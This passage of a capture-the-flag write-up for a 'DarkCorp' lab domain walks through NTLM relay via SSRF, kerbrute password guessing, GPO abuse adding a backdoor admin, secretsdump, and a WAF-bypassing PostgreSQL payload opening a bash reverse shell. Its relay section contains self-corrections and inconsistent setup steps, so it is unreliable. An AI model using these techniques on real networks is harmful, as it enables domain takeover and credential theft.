```text title="Terminal Output" icon="file-lines" wrap theme={null}
{"message":"http://web-01.darkcorp.htb:81 is unreachable: HTTPConnectionPool(host='web-01.darkcorp.htb', port=81): Max retries exceeded with url: / (Caused by NewConnectionError('<urllib3.connection.HTTPConnection object at 0x000001F5ECF47FD0>: Failed to establish a new connection: [WinError 10061] No connection could be made because the target machine actively refused it'))","status":"Error"}
```

* Detailed error messages reveal this is a Python application using `urllib3`
* When the application connects to an HTTP endpoint, it will authenticate using NTLM
* We can relay this authentication!

#### Relaying to Domain Controller

Since we're on the `drip.darkcorp.htb` host (172.16.20.3), we can make the application connect back to us and relay the authentication to the Domain Controller.

First, let's update our hosts file on the DC:

```text title="Attacker Linux" icon="linux" wrap theme={null}
sudo nano /etc/hosts
```

```text title="/etc/hosts" icon="file-lines" wrap theme={null}
172.16.20.1 dc-01.darkcorp.htb
172.16.20.2 web-01.darkcorp.htb
172.16.20.3 drip.darkcorp.htb
```

Setting up `ntlmrelayx` with multiple targets:

```text title="targets.txt" icon="file-lines" wrap theme={null}
smb://172.16.20.1
ldap://172.16.20.1
smb://172.16.20.2
ldap://172.16.20.2
```

```text title="Attacker Linux" icon="linux" wrap theme={null}
impacket-ntlmrelayx -smb2support -tf targets.txt --output-file ntlmrelayx-logs -w --no-multirelay
```

* The `-w` flag starts a web server to capture the authentication
* `--output-file` will capture hashes for logging

Now we need to make WEB-01 connect to our machine. Since we're on drip.darkcorp.htb, we can set up a listener:

From our ebelford SSH session on drip.darkcorp.htb:

```text title="Victim Linux" icon="linux" wrap theme={null}
nc -lvnp 8081
```

Wait, we need to forward this properly. Let's use a better approach - we'll start a simple HTTP server on our attacker machine and use SSH port forwarding:

Actually, let's set up the relay differently. We'll trigger the SSRF to connect to `drip.darkcorp.htb` (which we control via SSH), and from there relay to the DC:

```text title="Attacker Linux" icon="linux" wrap theme={null}
impacket-ntlmrelayx -smb2support -t ldap://172.16.20.1 --output-file ntlmrelayx-logs -i
```

On drip, we set up an HTTP server that will be accessed:

```text title="Victim Linux (via SSH)" icon="linux" wrap theme={null}
python3 -m http.server 80
```

Now trigger the SSRF:

```text title="Attacker Linux" icon="linux" wrap theme={null}
curl --ntlm -u 'DARKCORP\victor.r:victor1gustavo@#' http://172.16.20.2:5000/status -H 'Content-Type: application/json' -d '{"protocol":"http","host":"drip.darkcorp.htb","port":"80"}'
```

Wait, this won't work correctly because we need to relay from our attacker box. Let me reconsider the setup.

Actually, we need to use SSH port forwarding to relay traffic. On our SSH connection to drip:

```text title="Attacker Linux" icon="linux" wrap theme={null}
ssh -R 8081:127.0.0.1:80 ebelford@10.10.11.54
```

This forwards port 8081 on drip to port 80 on our attacker machine.

Now we start ntlmrelayx:

```text title="Attacker Linux" icon="linux" wrap theme={null}
impacket-ntlmrelayx -smb2support -t ldap://172.16.20.1 --output-file ntlmrelayx-logs -i
```

And trigger the SSRF to connect to drip:8081:

```text title="Attacker Linux" icon="linux" wrap theme={null}
curl --ntlm -u 'DARKCORP\victor.r:victor1gustavo@#' http://172.16.20.2:5000/status -H 'Content-Type: application/json' -d '{"protocol":"http","host":"drip.darkcorp.htb","port":"8081"}'
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
[*] HTTPD(80): Authenticating against ldap://172.16.20.1 as DARKCORP/SVC_ACC SUCCEED
[*] Started interactive Ldap shell via TCP on 127.0.0.1:11000 as DARKCORP/SVC_ACC
```

* Success! We relayed `svc_acc`'s authentication to the LDAP server
* We now have an interactive LDAP shell as `svc_acc`

Connecting to the LDAP shell:

```text title="Attacker Linux" icon="linux" wrap theme={null}
nc 127.0.0.1 11000
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
# whoami
u:darkcorp\svc_acc
```

* We have an LDAP shell, but it's limited in functionality
* The relay was successful, proving we can abuse the SSRF

## Privilege Escalation

### Abusing GPO as taylor.b.adm

#### Finding taylor.b.adm Credentials

From our Bloodhound analysis, we know that `taylor.b.adm` is a GPO manager with PSRemote capabilities. Let's try to find credentials for this account.

Since direct ADCS exploitation looks complex, let's try password spraying:

```text title="Attacker Linux" icon="linux" wrap theme={null}
kerbrute bruteuser -d darkcorp.htb --dc dc-01.darkcorp.htb /usr/share/wordlists/rockyou.txt taylor.b.adm -v -t 100
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
2025/02/13 14:15:07 >  [+] VALID LOGIN:  taylor.b.adm@darkcorp.htb:!QAZzaq1
```

* Success! Credentials: `taylor.b.adm:!QAZzaq1`

#### WinRM Access

Let's connect via WinRM:

```text title="Attacker Linux" icon="linux" wrap theme={null}
evil-winrm -u taylor.b.adm -p '!QAZzaq1' -i dc-01.darkcorp.htb
```

* Successfully connected to the Domain Controller!

#### GPO Abuse

Since `taylor.b.adm` is a GPO manager, we can abuse Group Policy to escalate privileges. We'll use `pygpoabuse` to create a scheduled task that adds a new admin user.

First, identify the GPO we can modify. From Bloodhound or by listing GPOs:

```text title="Victim Windows (DC-01)" icon="windows" wrap theme={null}
Get-GPO -All | Select DisplayName, Id
```

The GPO path format is:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
\\DARKCORP.HTB\SYSVOL\DARKCORP.HTB\POLICIES\{652CAE9A-4BB7-49F2-9E52-3361F33CE786}
```

* The GPO ID is: `652CAE9A-4BB7-49F2-9E52-3361F33CE786`

Using pygpoabuse on our attacker machine:

```text title="Attacker Linux" icon="linux" wrap theme={null}
python pygpoabuse.py darkcorp.htb/taylor.b.adm:'!QAZzaq1' -dc-ip 172.16.20.1 -gpo-id '652CAE9A-4BB7-49F2-9E52-3361F33CE786'
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
SUCCESS:root:ScheduledTask TASK_248c1f74 created!
[+] ScheduledTask TASK_248c1f74 created!
```

* The tool created a scheduled task via GPO that will add a backdoor user

Forcing a GPO update on the DC:

```text title="Victim Windows (DC-01)" icon="windows" wrap theme={null}
gpupdate /force
```

Checking for new users:

```text title="Victim Windows (DC-01)" icon="windows" wrap theme={null}
net users
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
User accounts for \\

-------------------------------------------------------------------------------
Administrator            angela.w                 angela.w.adm
bryce.c                  eugene.b                 Guest
john                     john.w                   krbtgt
svc_acc                  taylor.b                 taylor.b.adm
victor.r
The command completed with one or more errors.
```

* New user `john` has been created!
* Default credentials from pygpoabuse: `john:H4x00r123..`

Verifying the account has admin access:

```text title="Attacker Linux" icon="linux" wrap theme={null}
nxc smb 172.16.20.1 -u john -p 'H4x00r123..'
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
SMB         172.16.20.1     445    DC-01            [*] Windows Server 2022 Build 20348 x64 (name:DC-01) (domain:darkcorp.htb) (signing:True) (SMBv1:False)
SMB         172.16.20.1     445    DC-01            [+] darkcorp.htb\john:H4x00r123.. (Pwn3d!)
```

* Confirmed! `john` has administrative privileges

### Dumping Domain Secrets

Now we can dump the domain secrets:

```text title="Attacker Linux" icon="linux" wrap theme={null}
impacket-secretsdump darkcorp/john:'H4x00r123..'@172.16.20.1
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xe7c8f385f342172c7b0267fe4f3cbbd6
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:fcb3ca5a19a1ccf2d14c13e8b64cde0f
```

* Administrator NTLM hash: `fcb3ca5a19a1ccf2d14c13e8b64cde0f`

### Getting the Flags

User flag from WEB-01:

```text title="Attacker Linux" icon="linux" wrap theme={null}
nxc smb 172.16.20.2 -u administrator -H fcb3ca5a19a1ccf2d14c13e8b64cde0f -x 'type C:\Users\Administrator\Desktop\user.txt'
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
[+] Executed command via wmiexec
8a1686aa8240ed9590d9e0d97b70f7b8
```

Root flag from DC-01:

```text title="Attacker Linux" icon="linux" wrap theme={null}
evil-winrm -i 172.16.20.1 -u administrator -H fcb3ca5a19a1ccf2d14c13e8b64cde0f
```

```text title="Victim Windows (DC-01)" icon="windows" wrap theme={null}
type C:\Users\Administrator\Desktop\root.txt
```

```text title="Terminal Output" icon="file-lines" wrap theme={null}
64d64d39786adaf9a160fc6f321eb3f5
```

* Box complete!

## Learning

#### 1. CVE-2024-42009 - RoundCube XSS via Regex Desanitization

A Cross-Site Scripting vulnerability in Roundcube Webmail 1.6.7 allows attackers to steal emails by exploiting a regex pattern that removes `bgcolor` attributes. By crafting payloads like `<body title="bgcolor=foo" name="bar onload=...">`, the regex incorrectly removes `bgcolor=foo"`, breaking the syntax and allowing JavaScript execution. This can be used to exfiltrate emails from targets who open malicious messages.

#### 2. Always Enumerate All Domains Thoroughly

Don't forget to add the box name as a domain in your hosts file (e.g., `darkcorp.htb` in addition to `drip.htb`). Different domains may expose different applications and attack surfaces. Always perform both subdomain enumeration and directory busting on all discovered domains.

#### 3. PostgreSQL Arbitrary File Read and RCE via SQL Injection

When you have SQL injection in PostgreSQL, you can leverage powerful built-in functions:

* `pg_read_file('/path/to/file', offset, length)` - Read arbitrary files
* `pg_ls_dir('/path/')` - List directory contents
* `COPY (SELECT ...) TO PROGRAM 'command'` - Execute system commands

If WAF blocks the `COPY` keyword, bypass it using character concatenation:

```sql wrap theme={null}
DO $$ DECLARE c text; BEGIN c := CHR(67) || CHR(79) || CHR(80) || CHR(89) || ' (SELECT '''') to program ''bash -c "bash -i >& /dev/tcp/10.10.14.22/443 0>&1"'''; EXECUTE c; END $$;
```

#### 4. Check Database Logs and Backup Files When Running as Database User

When you compromise a database service account (like `postgres`), always check:

* Database logs: `/var/log/postgresql/` - May contain cleartext credentials from UPDATE/INSERT statements
* Backup files: `/var/backups/postgres/` - May contain GPG-encrypted database dumps
* Configuration files: May contain passwords for decrypting backups

LinPEAS may not catch these files, so manual enumeration is crucial.

#### 5. Pivoting Tools for Internal Networks - Ligolo, SSHuttle, and Proxychains

When you need to access internal networks through a compromised host, use Ligolo for efficient tunneling:

```bash wrap theme={null}
# On victim
./agent -connect attacker-ip:8000 -ignore-cert&

# On attacker
sudo ip route add 172.16.20.0/24 dev ligolo
```

If Ligolo is not available or suitable, use SSHuttle for VPN-like access:

```bash wrap theme={null}
sshuttle -r user@pivot-host 172.16.20.0/24
```

For tools with DNS issues (like Bloodhound with Ligolo), fall back to SSH dynamic port forwarding with proxychains:

```bash wrap theme={null}
ssh user@pivot-host -D 1080
```

Then configure `/etc/proxychains4.conf`:

```
dnat external-ip internal-dc-ip
socks5 127.0.0.1 1080
```

The `dnat` line is crucial for routing traffic to the correct internal host. Use `proxychains4` to run tools through the tunnel.

#### 6. NTLM Relay via SSRF

When you find an SSRF vulnerability in a Windows application that performs HTTP requests, the application may authenticate using NTLM. You can relay this authentication to other services:

1. Set up `impacket-ntlmrelayx` targeting LDAP or SMB on the Domain Controller
2. Use SSH port forwarding to make your relay server accessible from the internal network
3. Trigger the SSRF to connect to your relay server
4. Capture and relay the authentication to escalate privileges

Note: SMB signing must be disabled on the target for SMB relay, but LDAP relay works regardless.

#### 7. GPO Abuse for Privilege Escalation

Users with `WriteProperty`, `WriteDacl`, or `GenericAll` permissions on Group Policy Objects can abuse GPOs to gain Domain Admin:

1. Identify the target GPO ID from the SYSVOL path: `\\domain\SYSVOL\domain\POLICIES\{GPO-ID}`
2. Use tools like `pygpoabuse.py` to add a scheduled task via GPO:

```bash wrap theme={null}
python pygpoabuse.py domain/user:pass -dc-ip DC-IP -gpo-id 'GPO-ID'
```

3. Force a GPO update: `gpupdate /force`
4. The tool creates a backdoor admin user (`john:H4x00r123..` by default)
5. Use the new admin account to dump domain secrets

## Tags

### Initial Access

\#CVE-2024-42009 #XSS #RoundCube #EmailStealing #SSRF #SQLInjection #PostgreSQL #FileRead #RCE #WAFBypass #CharcterObfuscation #DatabaseLogs #BackupFiles #GPGDecryption

### Privilege Escalation

\#ActiveDirectory #Bloodhound #Ligolo #SSHuttle #SSHPortForwarding #Proxychains #NTLMRelay #LDAPRelay #Kerbrute #PasswordSpraying #GPOAbuse #ScheduledTask #Secretsdump
